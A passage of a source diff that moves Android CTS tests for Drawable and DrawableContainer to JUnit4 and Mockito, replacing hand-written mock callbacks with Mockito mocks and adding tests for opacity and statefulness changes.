         MockDrawable mockDrawable = new MockDrawable();
         addAndSelectDrawable(mockDrawable);
 
-        callback.reset();
-        dr.invalidateDrawable(mDrawableContainer);
-        assertFalse(callback.hasInvalidateDrawableCalled());
+        reset(callback);
+        mDrawableContainer.invalidateDrawable(mDrawableContainer);
+        verify(callback, never()).invalidateDrawable(any());
 
-        callback.reset();
-        dr.invalidateDrawable(null);
-        assertFalse(callback.hasInvalidateDrawableCalled());
+        mDrawableContainer.invalidateDrawable(null);
+        verify(callback, never()).invalidateDrawable(any());
 
         // Call the callback method if the drawable is selected.
-        callback.reset();
-        dr.invalidateDrawable(mockDrawable);
-        assertTrue(callback.hasInvalidateDrawableCalled());
+        mDrawableContainer.invalidateDrawable(mockDrawable);
+        verify(callback, times(1)).invalidateDrawable(any());
     }
 
+    @Test
     public void testScheduleDrawable() {
-        // Workaround for CTS coverage not recognizing calls on subclasses.
-        DrawableContainer dr = mDrawableContainer;
-
-        assertConstantStateNotSet();
-        assertNull(mDrawableContainer.getCurrent());
-
         mDrawableContainer.setCallback(null);
-        dr.scheduleDrawable(mDrawableContainer, null, 0);
-        dr.scheduleDrawable(null, new Runnable() {
-                public void run() {
-                }
-            }, 0);
+        mDrawableContainer.scheduleDrawable(mDrawableContainer, null, 0);
+        mDrawableContainer.scheduleDrawable(null, () -> {}, 0);
 
-        MockCallBack callback = new MockCallBack();
+        Drawable.Callback callback = mock(Drawable.Callback.class);
         mDrawableContainer.setCallback(callback);
 
-        callback.reset();
-        dr.scheduleDrawable(mDrawableContainer, null, 0);
-        assertFalse(callback.hasScheduleDrawableCalled());
+        mDrawableContainer.scheduleDrawable(mDrawableContainer, null, 0);
+        verify(callback, never()).scheduleDrawable(any(), any(), anyLong());
 
         // the callback method can be called if the drawable passed in and the
         // current drawble are both null
-        callback.reset();
-        dr.scheduleDrawable(null, new Runnable() {
-                public void run() {
-                }
-            }, 0);
-        assertTrue(callback.hasScheduleDrawableCalled());
+        mDrawableContainer.scheduleDrawable(null, () -> {}, 0);
+        verify(callback, times(1)).scheduleDrawable(any(), any(), anyLong());
 
         mMockDrawableContainer.setConstantState(mDrawableContainerState);
         MockDrawable mockDrawable = new MockDrawable();
         addAndSelectDrawable(mockDrawable);
 
-        callback.reset();
-        dr.scheduleDrawable(mDrawableContainer, null, 0);
-        assertFalse(callback.hasScheduleDrawableCalled());
+        reset(callback);
+        mDrawableContainer.scheduleDrawable(mDrawableContainer, null, 0);
+        verify(callback, never()).scheduleDrawable(any(), any(), anyLong());
+        verify(callback, never()).scheduleDrawable(any(), any(), anyLong());
 
-        callback.reset();
-        dr.scheduleDrawable(null, new Runnable() {
-                public void run() {
-                }
-            }, 0);
-        assertFalse(callback.hasScheduleDrawableCalled());
+        mDrawableContainer.scheduleDrawable(null, () -> {}, 0);
+        verify(callback, never()).scheduleDrawable(any(), any(), anyLong());
 
         // Call the callback method if the drawable is selected.
-        callback.reset();
-        dr.scheduleDrawable(mockDrawable, null, 0);
-        assertTrue(callback.hasScheduleDrawableCalled());
+        mDrawableContainer.scheduleDrawable(mockDrawable, null, 0);
+        verify(callback, times(1)).scheduleDrawable(any(), any(), anyLong());
     }
 
+    @Test
     public void testUnscheduleDrawable() {
-        // Workaround for CTS coverage not recognizing calls on subclasses.
-        DrawableContainer dr = mDrawableContainer;
-
-        assertConstantStateNotSet();
-        assertNull(mDrawableContainer.getCurrent());
-
         mDrawableContainer.setCallback(null);
-        dr.unscheduleDrawable(mDrawableContainer, null);
-        dr.unscheduleDrawable(null, new Runnable() {
-                public void run() {
-                }
-            });
+        mDrawableContainer.unscheduleDrawable(mDrawableContainer, null);
+        mDrawableContainer.unscheduleDrawable(null, () -> {});
 
-        MockCallBack callback = new MockCallBack();
+        Drawable.Callback callback = mock(Drawable.Callback.class);
         mDrawableContainer.setCallback(callback);
 
-        callback.reset();
-        dr.unscheduleDrawable(mDrawableContainer, null);
-        assertFalse(callback.hasUnscheduleDrawableCalled());
+        mDrawableContainer.unscheduleDrawable(mDrawableContainer, null);
+        verify(callback, never()).unscheduleDrawable(any(), any());
 
         // the callback method can be called if the drawable passed in and the
         // current drawble are both null
-        callback.reset();
-        dr.unscheduleDrawable(null, new Runnable() {
-                public void run() {
-                }
-            });
-        assertTrue(callback.hasUnscheduleDrawableCalled());
+        mDrawableContainer.unscheduleDrawable(null, () -> {});
+        verify(callback, times(1)).unscheduleDrawable(any(), any());
 
         mMockDrawableContainer.setConstantState(mDrawableContainerState);
         MockDrawable mockDrawable = new MockDrawable();
         addAndSelectDrawable(mockDrawable);
 
-        callback.reset();
-        dr.unscheduleDrawable(mDrawableContainer, null);
-        assertFalse(callback.hasUnscheduleDrawableCalled());
+        reset(callback);
+        mDrawableContainer.unscheduleDrawable(mDrawableContainer, null);
+        verify(callback, never()).unscheduleDrawable(any(), any());
 
-        callback.reset();
-        dr.unscheduleDrawable(null, new Runnable() {
-                public void run() {
-                }
-            });
-        assertFalse(callback.hasUnscheduleDrawableCalled());
+        mDrawableContainer.unscheduleDrawable(null, () -> {});
+        verify(callback, never()).unscheduleDrawable(any(), any());
 
         // Call the callback method if the drawable is selected.
-        callback.reset();
-        dr.unscheduleDrawable(mockDrawable, null);
-        assertTrue(callback.hasUnscheduleDrawableCalled());
+        mDrawableContainer.unscheduleDrawable(mockDrawable, null);
+        verify(callback, times(1)).unscheduleDrawable(any(), any());
     }
 
+    @Test
     public void testSetVisible() {
-        assertConstantStateNotSet();
-        assertNull(mDrawableContainer.getCurrent());
-
         assertTrue(mDrawableContainer.isVisible());
         assertFalse(mDrawableContainer.setVisible(true, false));
         assertTrue(mDrawableContainer.setVisible(false, false));
@@ -724,48 +696,39 @@
         assertFalse(dr.isVisible());
     }
 
+    @Test
     public void testGetOpacity() {
-        // Workaround for CTS coverage not recognizing calls on subclasses.
-        DrawableContainer dr = mDrawableContainer;
-
-        assertConstantStateNotSet();
-
         // there is no child, so the container is transparent
-        assertEquals(PixelFormat.TRANSPARENT, dr.getOpacity());
+        assertEquals(PixelFormat.TRANSPARENT, mDrawableContainer.getOpacity());
 
         mMockDrawableContainer.setConstantState(mDrawableContainerState);
-        MockDrawable dr0 = new MockDrawable();
-        dr0.setOpacity(PixelFormat.OPAQUE);
+        Drawable dr0 = spy(new ColorDrawable(Color.GREEN));
+        doReturn(PixelFormat.OPAQUE).when(dr0).getOpacity();
         mDrawableContainerState.addChild(dr0);
         // no child selected yet
-        assertEquals(PixelFormat.TRANSPARENT, dr.getOpacity());
+        assertEquals(PixelFormat.TRANSPARENT, mDrawableContainer.getOpacity());
 
-        dr.selectDrawable(0);
-        assertEquals(mDrawableContainerState.getOpacity(), dr.getOpacity());
+        mDrawableContainer.selectDrawable(0);
+        assertEquals(mDrawableContainerState.getOpacity(), mDrawableContainer.getOpacity());
         assertEquals(PixelFormat.OPAQUE, mDrawableContainer.getOpacity());
 
-        MockDrawable dr1 = new MockDrawable();
-        dr1.setOpacity(PixelFormat.TRANSLUCENT);
+        Drawable dr1 = spy(new ColorDrawable(Color.RED));
+        doReturn(PixelFormat.TRANSLUCENT).when(dr1).getOpacity();
         mDrawableContainerState.addChild(dr1);
 
-        dr.selectDrawable(1);
-        assertEquals(mDrawableContainerState.getOpacity(), dr.getOpacity());
-        assertEquals(PixelFormat.TRANSLUCENT, dr.getOpacity());
+        mDrawableContainer.selectDrawable(1);
+        assertEquals(mDrawableContainerState.getOpacity(), mDrawableContainer.getOpacity());
+        assertEquals(PixelFormat.TRANSLUCENT, mDrawableContainer.getOpacity());
     }
 
-    public void testAccessCurrentDrawable() {
-        // Workaround for CTS coverage not recognizing calls on subclasses.
-        DrawableContainer dr = mDrawableContainer;
+    @Test(expected=NullPointerException.class)
+    public void testSelectDrawableNoConstantState() {
+        // Should throw NullPointerException if the constant state is not set
+        mDrawableContainer.selectDrawable(0);
+    }
 
-        assertConstantStateNotSet();
-
-        assertNull(mDrawableContainer.getCurrent());
-        try {
-            dr.selectDrawable(0);
-            fail("Should throw NullPointerException if the constant state is not set.");
-        } catch (NullPointerException e) {
-        }
-
+    @Test
+    public void testSelectDrawable() {
         mMockDrawableContainer.setConstantState(mDrawableContainerState);
         MockDrawable dr0 = new MockDrawable();
         dr0.setVisible(false, false);
@@ -776,69 +739,38 @@
         assertFalse(dr1.isVisible());
         mDrawableContainerState.addChild(dr1);
 
-        assertTrue(dr.selectDrawable(0));
+        assertTrue(mDrawableContainer.selectDrawable(0));
         assertSame(dr0, mDrawableContainer.getCurrent());
         assertTrue(dr0.isVisible());
 
-        assertFalse(dr.selectDrawable(0));
+        assertFalse(mDrawableContainer.selectDrawable(0));
 
-        assertTrue(dr.selectDrawable(1));
+        assertTrue(mDrawableContainer.selectDrawable(1));
         assertSame(dr1, mDrawableContainer.getCurrent());
         assertTrue(dr1.isVisible());
         assertFalse(dr0.isVisible());
 
-        assertFalse(dr.selectDrawable(1));
+        assertFalse(mDrawableContainer.selectDrawable(1));
 
-        assertTrue(dr.selectDrawable(-1));
+        assertTrue(mDrawableContainer.selectDrawable(-1));
         assertNull(mDrawableContainer.getCurrent());
         assertFalse(dr0.isVisible());
         assertFalse(dr1.isVisible());
 
-        assertTrue(dr.selectDrawable(2));
+        assertTrue(mDrawableContainer.selectDrawable(2));
         assertNull(mDrawableContainer.getCurrent());
         assertFalse(dr0.isVisible());
         assertFalse(dr1.isVisible());
     }
 
+    @Test
     public void testAccessConstantState() {
-        try {
-            mDrawableContainer.getConstantState();
-            fail("Should throw NullPointerException if the constant state is not set.");
-        } catch (NullPointerException e) {
-        }
-
         mMockDrawableContainer.setConstantState(mDrawableContainerState);
         assertSame(mDrawableContainerState, mDrawableContainer.getConstantState());
 
         mMockDrawableContainer.setConstantState(null);
-        assertConstantStateNotSet();
-    }
-
-    public void testMutate() {
-        assertConstantStateNotSet();
-        try {
-            mDrawableContainer.mutate();
-            fail("Should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
-
-        mMockDrawableContainer.setConstantState(mDrawableContainerState);
-        MockDrawable dr0 = new MockDrawable();
-        mDrawableContainerState.addChild(dr0);
-        mDrawableContainer.mutate();
-        assertTrue(dr0.hasMutateCalled());
-    }
-
-    private void addAndSelectDrawable(MockDrawable mockDrawable) {
-        // Workaround for CTS coverage not recognizing calls on subclasses.
-        DrawableContainer dr = mDrawableContainer;
-
-        int pos = mDrawableContainerState.addChild(mockDrawable);
-        dr.selectDrawable(pos);
-        assertSame(mockDrawable, dr.getCurrent());
-    }
-
-    private void assertConstantStateNotSet() {
+        // Note that we're not using 'expected' on the @Test annotation since we want to
+        // make sure that only this next call is going to throw NPE.
         try {
             mDrawableContainer.getConstantState();
             fail("Should throw NullPointerException.");
@@ -846,6 +778,59 @@
         }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testMutateNoConstantState() {
+        // Should throw NullPointerException if the constant state is not set
+        mDrawableContainer.mutate();
+    }
+
+    @Test
+    public void testMutate() {
+        mMockDrawableContainer.setConstantState(mDrawableContainerState);
+        Drawable dr0 = spy(new ColorDrawable(Color.MAGENTA));
+        mDrawableContainerState.addChild(dr0);
+        mDrawableContainer.mutate();
+        verify(dr0, atLeastOnce()).mutate();
+    }
+
+    @Test
+    public void testOpacityChange() {
+        mMockDrawableContainer.setConstantState(mDrawableContainerState);
+        ColorDrawable c1 = new ColorDrawable(Color.RED);
+        ColorDrawable c2 = new ColorDrawable(Color.BLUE);
+        addAndSelectDrawable(c1);
+        addAndSelectDrawable(c2);
+        assertEquals(PixelFormat.OPAQUE, mDrawableContainer.getOpacity());
+
+        // Changes to the not-current drawable should still refresh.
+        c1.setTint(0x80FF0000);
+        c1.setTintMode(PorterDuff.Mode.SRC);
+        assertEquals(PixelFormat.TRANSLUCENT, mDrawableContainer.getOpacity());
+    }
+
+    @Test
+    public void testStatefulnessChange() {
+        mMockDrawableContainer.setConstantState(mDrawableContainerState);
+        ColorDrawable c1 = new ColorDrawable(Color.RED);
+        ColorDrawable c2 = new ColorDrawable(Color.BLUE);
+        addAndSelectDrawable(c1);
+        addAndSelectDrawable(c2);
+        assertEquals(false, mDrawableContainer.isStateful());
+
+        // Changes to the not-current drawable should still refresh.
+        ColorStateList csl = new ColorStateList(
+                new int[][] { { android.R.attr.state_enabled }, { } },
+                new int[] { Color.RED, Color.BLUE });
+        c1.setTintList(csl);
+        assertEquals(true, mDrawableContainer.isStateful());
+    }
+
+    private void addAndSelectDrawable(Drawable drawable) {
+        int pos = mDrawableContainerState.addChild(drawable);
+        mDrawableContainer.selectDrawable(pos);
+        assertSame(drawable, mDrawableContainer.getCurrent());
+    }
+
     private class MockDrawableContainer extends DrawableContainer {
         @Override
         protected void onBoundsChange(Rect bounds) {
@@ -868,135 +853,29 @@
         }
     }
 
+    // Since Mockito can't mock or spy on protected methods, we have a custom extension
+    // of Drawable to track calls to protected methods. This class also has empty implementations
+    // of the base abstract methods.
     private class MockDrawable extends Drawable {
-        private boolean mHasCalledDraw;
-        private boolean mHasCalledSetAlpha;
-        private boolean mHasCalledSetColorFilter;
-        private boolean mHasCalledSetDither;
-        private boolean mHasCalledSetTint;
         private boolean mHasCalledOnBoundsChanged;
         private boolean mHasCalledOnStateChanged;
         private boolean mHasCalledOnLevelChanged;
-        private boolean mHasCalledMutate;
-
-        private boolean mIsStateful;
-
-        private Rect mPadding;
-
-        private int mIntrinsicHeight;
-        private int mIntrinsicWidth;
-
-        private int mMinimumHeight;
-        private int mMinimumWidth;
-
-        private int mOpacity;
-
-        private Mode mTintMode;
 
         @Override
         public int getOpacity() {
-            return mOpacity;
+            return PixelFormat.OPAQUE;
         }
 
         @Override
-        public boolean isStateful() {
-            return mIsStateful;
-        }
-
-        public void setStateful(boolean isStateful) {
-            mIsStateful = isStateful;
-        }
-
-        public Mode getTintMode() {
-            return mTintMode;
-        }
-
-        public void setPadding(Rect rect) {
-            if (mPadding == null) {
-                mPadding = new Rect();
-            }
-            mPadding.set(rect);
+        public void draw(Canvas canvas) {
         }
 
         @Override
-        public boolean getPadding(Rect padding) {
-            if (padding == null || mPadding == null) {
-                return false;
-            }
-            padding.set(mPadding);
-            return true;
+        public void setAlpha(int alpha) {
         }
 
         @Override
-        public int getMinimumHeight() {
-            return mMinimumHeight;
-        }
-
-        @Override
-        public int getMinimumWidth() {
-            return mMinimumWidth;
-        }
-
-        @Override
-        public int getIntrinsicHeight() {
-            return mIntrinsicHeight;
-        }
-
-        @Override
-        public int getIntrinsicWidth() {
-            return mIntrinsicWidth;
-        }
-
-        @Override
-        public Drawable mutate() {
-            mHasCalledMutate = true;
-            return this;
-        }
-
-        @Override
-        public void setTintMode(Mode tintMode) {
-            mTintMode = tintMode;
-            mHasCalledSetTint = true;
-        }
-
-        public void setMinimumHeight(int h) {
-            mMinimumHeight = h;
-        }
-
-        public void setMinimumWidth(int w) {
-            mMinimumWidth = w;
-        }
-
-        public void setIntrinsicHeight(int h) {
-            mIntrinsicHeight = h;
-        }
-
-        public void setIntrinsicWidth(int w) {
-            mIntrinsicWidth = w;
-        }
-
-        public void setOpacity(int opacity) {
-            mOpacity = opacity;
-        }
-
-        public boolean hasDrawCalled() {
-            return mHasCalledDraw;
-        }
-
-        public boolean hasSetAlphaCalled() {
-            return mHasCalledSetAlpha;
-        }
-
-        public boolean hasSetColorFilterCalled() {
-            return mHasCalledSetColorFilter;
-        }
-
-        public boolean hasSetDitherCalled() {
-            return mHasCalledSetDither;
-        }
-
-        public boolean hasSetTintCalled() {
-            return mHasCalledSetTint;
+        public void setColorFilter(ColorFilter colorFilter) {
         }
 
         public boolean hasOnBoundsChangedCalled() {
@@ -1011,34 +890,10 @@
             return mHasCalledOnLevelChanged;
         }
 
-        public boolean hasMutateCalled() {
-            return mHasCalledMutate;
-        }
-
         public void reset() {
             mHasCalledOnLevelChanged = false;
             mHasCalledOnStateChanged = false;
             mHasCalledOnBoundsChanged = false;
-            mHasCalledSetDither = false;
-            mHasCalledSetColorFilter = false;
-            mHasCalledSetAlpha = false;
-            mHasCalledDraw = false;
-            mHasCalledMutate = false;
-        }
-
-        @Override
-        public void draw(Canvas canvas) {
-            mHasCalledDraw = true;
-        }
-
-        @Override
-        public void setAlpha(int alpha) {
-            mHasCalledSetAlpha = true;
-        }
-
-        @Override
-        public void setColorFilter(ColorFilter cf) {
-            mHasCalledSetColorFilter = true;
         }
 
         @Override
@@ -1059,55 +914,6 @@
             boolean result = super.onStateChange(state);
             mHasCalledOnStateChanged = true;
             return result;
-
-        }
-
-        @Override
-        public void setDither(boolean dither) {
-            super.setDither(dither);
-            mHasCalledSetDither = true;
-        }
-    }
-
-    private class MockCallBack implements Drawable.Callback {
-        private boolean mCalledInvalidateDrawable;
-
-        private boolean mCalledScheduleDrawable;
-
-        private boolean mCalledUnscheduleDrawable;
-
-        public boolean hasInvalidateDrawableCalled() {
-            return mCalledInvalidateDrawable;
-        }
-
-        public boolean hasScheduleDrawableCalled() {
-            return mCalledScheduleDrawable;
-        }
-
-        public boolean hasUnscheduleDrawableCalled() {
-            return mCalledUnscheduleDrawable;
-        }
-
-        public void reset() {
-            mCalledUnscheduleDrawable = false;
-            mCalledScheduleDrawable = false;
-            mCalledInvalidateDrawable = false;
-        }
-
-        public void invalidateDrawable(Drawable who) {
-            mCalledInvalidateDrawable = true;
-        }
-
-        public void scheduleDrawable(Drawable who, Runnable what, long when) {
-            mCalledScheduleDrawable = true;
-        }
-
-        public void unscheduleDrawable(Drawable who, Runnable what) {
-            mCalledUnscheduleDrawable = true;
-        }
-
-        public int getResolvedLayoutDirection(Drawable who) {
-            return 0;
         }
     }
 }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTest.java
index bc452f3..13cc2e0 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableTest.java
@@ -16,14 +16,36 @@
 
 package android.graphics.drawable.cts;
 
-import android.content.res.Resources.Theme;
-import android.graphics.drawable.Drawable.Callback;
-import android.view.View;
-import android.graphics.cts.R;
-
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
 import org.xmlpull.v1.XmlPullParserException;
 
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.res.Resources;
+import android.content.res.Resources.Theme;
+import android.graphics.BitmapFactory;
+import android.graphics.Canvas;
+import android.graphics.ColorFilter;
+import android.graphics.PixelFormat;
+import android.graphics.PorterDuff;
+import android.graphics.Rect;
+import android.graphics.cts.R;
+import android.graphics.drawable.Drawable;
+import android.graphics.drawable.Drawable.Callback;
+import android.net.Uri;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.test.AndroidTestCase;
+import android.util.AttributeSet;
+import android.util.StateSet;
+import android.util.TypedValue;
+import android.util.Xml;
+import android.view.View;
+
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileNotFoundException;
@@ -32,34 +54,31 @@
 import java.io.InputStream;
 import java.io.OutputStream;
 
-import android.content.ContentResolver;
-import android.content.res.Resources;
-import android.graphics.BitmapFactory;
-import android.graphics.Canvas;
-import android.graphics.ColorFilter;
-import android.graphics.PixelFormat;
-import android.graphics.PorterDuff;
-import android.graphics.Rect;
-import android.graphics.drawable.Drawable;
-import android.net.Uri;
-import android.test.AndroidTestCase;
-import android.util.AttributeSet;
-import android.util.StateSet;
-import android.util.TypedValue;
-import android.util.Xml;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Matchers.eq;
 import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
 
-public class DrawableTest extends AndroidTestCase {
-    Resources mResources;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class DrawableTest {
+    private Context mContext;
+    private Resources mResources;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
         mResources = mContext.getResources();
     }
 
+    @Test
     public void testClearColorFilter() {
         Drawable mockDrawable = new MockDrawable();
         mockDrawable.clearColorFilter();
@@ -73,6 +92,7 @@
         assertNull(mockDrawable.getColorFilter());
     }
 
+    @Test
     public void testCopyBounds() {
         Drawable mockDrawable = new MockDrawable();
         Rect rect1 = mockDrawable.copyBounds();
@@ -120,6 +140,7 @@
         }
     }
 
+    @Test
     public void testCreateFromPath() throws IOException {
         assertNull(Drawable.createFromPath(null));
 
@@ -139,29 +160,17 @@
     }
 
     private void writeSampleImage(File imagefile) throws IOException {
-        InputStream source = null;
-        OutputStream target = null;
-
-        try {
-            source = mResources.openRawResource(R.raw.testimage);
-            target = new FileOutputStream(imagefile);
-
+        try (InputStream source = mResources.openRawResource(R.raw.testimage);
+             OutputStream target = new FileOutputStream(imagefile)) {
             byte[] buffer = new byte[1024];
             for (int len = source.read(buffer); len >= 0; len = source.read(buffer)) {
                 target.write(buffer, 0, len);
             }
-        } finally {
-            if (target != null) {
-                target.close();
-            }
-
-            if (source != null) {
-                source.close();
-            }
         }
     }
 
-    public void testCreateFromStream() throws FileNotFoundException, IOException {
+    @Test
+    public void testCreateFromStream() throws IOException {
         FileInputStream inputEmptyStream = null;
         FileInputStream inputStream = null;
         File imageFile = null;
@@ -186,7 +195,6 @@
             inputStream = new FileInputStream(imageFile);
             assertNotNull(Drawable.createFromStream(inputStream, "Sample"));
         } finally {
-
             if (null != outputEmptyStream) {
                 outputEmptyStream.close();
             }
@@ -205,13 +213,14 @@
         }
     }
 
-    public void testCreateFromResourceStream1() throws FileNotFoundException, IOException {
+    @Test
+    public void testCreateFromResourceStream1() throws IOException {
         FileInputStream inputEmptyStream = null;
         FileInputStream inputStream = null;
         File imageFile = null;
         OutputStream outputEmptyStream = null;
 
-        assertNull(Drawable.createFromResourceStream(null, null, inputStream, "test.bmp"));
+        assertNull(Drawable.createFromResourceStream(null, null, null, "test.bmp"));
 
         File emptyFile = new File(mContext.getFilesDir(), "tempemptyimage.jpg");
 
@@ -233,7 +242,6 @@
             assertNotNull(Drawable.createFromResourceStream(mResources, value, inputStream,
                     "Sample"));
         } finally {
-
             if (null != outputEmptyStream) {
                 outputEmptyStream.close();
             }
@@ -252,7 +260,8 @@
         }
     }
 
-    public void testCreateFromResourceStream2() throws FileNotFoundException, IOException {
+    @Test
+    public void testCreateFromResourceStream2() throws IOException {
         FileInputStream inputEmptyStream = null;
         FileInputStream inputStream = null;
         File imageFile = null;
@@ -261,7 +270,7 @@
         BitmapFactory.Options opt = new BitmapFactory.Options();
         opt.inScaled = false;
 
-        assertNull(Drawable.createFromResourceStream(null, null, inputStream, "test.bmp", opt));
+        assertNull(Drawable.createFromResourceStream(null, null, null, "test.bmp", opt));
 
         File emptyFile = new File(mContext.getFilesDir(), "tempemptyimage.jpg");
 
@@ -283,7 +292,6 @@
             assertNotNull(Drawable.createFromResourceStream(mResources, value, inputStream,
                     "Sample", opt));
         } finally {
-
             if (null != outputEmptyStream) {
                 outputEmptyStream.close();
             }
@@ -302,6 +310,7 @@
         }
     }
 
+    @Test
     public void testCreateFromXml() throws XmlPullParserException, IOException {
         XmlPullParser parser = mResources.getXml(R.drawable.gradientdrawable);
         Drawable drawable = Drawable.createFromXml(mResources, parser);
@@ -312,6 +321,7 @@
         assertEquals(expected.getIntrinsicHeight(), drawable.getIntrinsicHeight());
     }
 
+    @Test
     public void testCreateFromXmlThemed() throws XmlPullParserException, IOException {
         XmlPullParser parser = mResources.getXml(R.drawable.gradientdrawable_theme);
         Theme theme = mResources.newTheme();
@@ -324,6 +334,7 @@
         assertEquals(expected.getIntrinsicHeight(), drawable.getIntrinsicHeight());
     }
 
+    @Test
     public void testCreateFromXmlInner() throws XmlPullParserException, IOException {
         XmlPullParser parser = mResources.getXml(R.drawable.gradientdrawable);
         while (parser.next() != XmlPullParser.START_TAG) {
@@ -338,6 +349,7 @@
         assertEquals(expected.getIntrinsicHeight(), drawable.getIntrinsicHeight());
     }
 
+    @Test
     public void testCreateFromXmlInnerThemed() throws XmlPullParserException, IOException {
         XmlPullParser parser = mResources.getXml(R.drawable.gradientdrawable_theme);
         while (parser.next() != XmlPullParser.START_TAG) {
@@ -354,6 +366,7 @@
         assertEquals(expected.getIntrinsicHeight(), drawable.getIntrinsicHeight());
     }
 
+    @Test
     public void testAccessBounds() {
         Drawable mockDrawable = new MockDrawable();
         mockDrawable.setBounds(0, 0, 100, 100);
@@ -377,6 +390,7 @@
         }
     }
 
+    @Test
     public void testAccessChangingConfigurations() {
         Drawable mockDrawable = new MockDrawable();
         assertEquals(0, mockDrawable.getChangingConfigurations());
@@ -391,26 +405,31 @@
         assertEquals(Integer.MIN_VALUE, mockDrawable.getChangingConfigurations());
     }
 
+    @Test
     public void testGetConstantState() {
         Drawable mockDrawable = new MockDrawable();
         assertNull(mockDrawable.getConstantState());
     }
 
+    @Test
     public void testGetCurrent() {
         Drawable mockDrawable = new MockDrawable();
         assertSame(mockDrawable, mockDrawable.getCurrent());
     }
 
+    @Test
     public void testGetIntrinsicHeight() {
         Drawable mockDrawable = new MockDrawable();
         assertEquals(-1, mockDrawable.getIntrinsicHeight());
     }
 
+    @Test
     public void testGetIntrinsicWidth() {
         Drawable mockDrawable = new MockDrawable();
         assertEquals(-1, mockDrawable.getIntrinsicWidth());
     }
 
+    @Test
     public void testAccessLevel() {
         Drawable mockDrawable = new MockDrawable();
         assertEquals(0, mockDrawable.getLevel());
@@ -428,16 +447,19 @@
         assertEquals(10000, mockDrawable.getLevel());
     }
 
+    @Test
     public void testGetMinimumHeight() {
         Drawable mockDrawable = new MockDrawable();
         assertEquals(0, mockDrawable.getMinimumHeight());
     }
 
+    @Test
     public void testGetMinimumWidth() {
         Drawable mockDrawable = new MockDrawable();
         assertEquals(0, mockDrawable.getMinimumWidth());
     }
 
+    @Test
     public void testGetPadding() {
         Drawable mockDrawable = new MockDrawable();
         Rect r = new Rect(10, 10, 20, 20);
@@ -454,6 +476,7 @@
         }
     }
 
+    @Test
     public void testAccessState() {
         Drawable mockDrawable = new MockDrawable();
         assertEquals(StateSet.WILD_CARD, mockDrawable.getState());
@@ -465,11 +488,13 @@
         mockDrawable.setState(null);
     }
 
+    @Test
     public void testGetTransparentRegion() {
         Drawable mockDrawable = new MockDrawable();
         assertNull(mockDrawable.getTransparentRegion());
     }
 
+    @Test
     public void testInflate() throws XmlPullParserException, IOException {
         Drawable mockDrawable = new MockDrawable();
 
@@ -484,23 +509,26 @@
         assertFalse(mockDrawable.isVisible());
     }
 
+    @Test
     public void testInvalidateSelf() {
         Drawable mockDrawable = new MockDrawable();
         // if setCallback() is not called, invalidateSelf() would do nothing,
         // so just call it to check whether it throws exceptions.
         mockDrawable.invalidateSelf();
 
-        MockCallback mockCallback = new MockCallback();
+        Drawable.Callback mockCallback = mock(Drawable.Callback.class);
         mockDrawable.setCallback(mockCallback);
         mockDrawable.invalidateSelf();
-        assertEquals(mockDrawable, mockCallback.getInvalidateDrawable());
+        verify(mockCallback, times(1)).invalidateDrawable(mockDrawable);
     }
 
+    @Test
     public void testIsStateful() {
         Drawable mockDrawable = new MockDrawable();
         assertFalse(mockDrawable.isStateful());
     }
 
+    @Test
     public void testVisible() {
         Drawable mockDrawable = new MockDrawable();
         assertTrue(mockDrawable.isVisible());
@@ -515,6 +543,7 @@
         assertTrue(mockDrawable.isVisible());
     }
 
+    @Test
     public void testOnBoundsChange() {
         MockDrawable mockDrawable = new MockDrawable();
 
@@ -522,16 +551,19 @@
         mockDrawable.onBoundsChange(new Rect(0, 0, 10, 10));
     }
 
+    @Test
     public void testOnLevelChange() {
         MockDrawable mockDrawable = new MockDrawable();
         assertFalse(mockDrawable.onLevelChange(0));
     }
 
+    @Test
     public void testOnStateChange() {
         MockDrawable mockDrawable = new MockDrawable();
         assertFalse(mockDrawable.onStateChange(null));
     }
 
+    @Test
     public void testResolveOpacity() {
         assertEquals(PixelFormat.TRANSLUCENT,
                 Drawable.resolveOpacity(PixelFormat.TRANSLUCENT, PixelFormat.TRANSLUCENT));
@@ -545,16 +577,27 @@
                 Drawable.resolveOpacity(PixelFormat.RGB_888, PixelFormat.RGB_565));
     }
 
+    @Test
     public void testScheduleSelf() {
-        MockDrawable mockDrawable = new MockDrawable();
-        MockCallback mockCallback = new MockCallback();
-        mockDrawable.setCallback(mockCallback);
+        Drawable mockDrawable = new MockDrawable();
         mockDrawable.scheduleSelf(null, 1000L);
-        assertEquals(mockDrawable, mockCallback.getScheduleDrawable());
-        assertNull(mockCallback.getRunnable());
-        assertEquals(1000L, mockCallback.getWhen());
+
+        Runnable runnable = mock(Runnable.class);
+        mockDrawable.scheduleSelf(runnable, 1000L);
+
+        Callback mockCallback = mock(Callback.class);
+        mockDrawable.setCallback(mockCallback);
+        mockDrawable.scheduleSelf(runnable, 1000L);
+        verify(mockCallback).scheduleDrawable(eq(mockDrawable), eq(runnable), eq(1000L));
+
+        mockDrawable.scheduleSelf(runnable, 0L);
+        verify(mockCallback).scheduleDrawable(eq(mockDrawable), eq(runnable), eq(0L));
+
+        mockDrawable.scheduleSelf(runnable, -1000L);
+        verify(mockCallback).scheduleDrawable(eq(mockDrawable), eq(runnable), eq(-1000L));
     }
 
+    @Test
     public void testAccessCallback() {
         Drawable mockDrawable = new MockDrawable();
         Callback mockCallback = mock(Callback.class);
@@ -566,11 +609,13 @@
         assertEquals(null, mockDrawable.getCallback());
     }
 
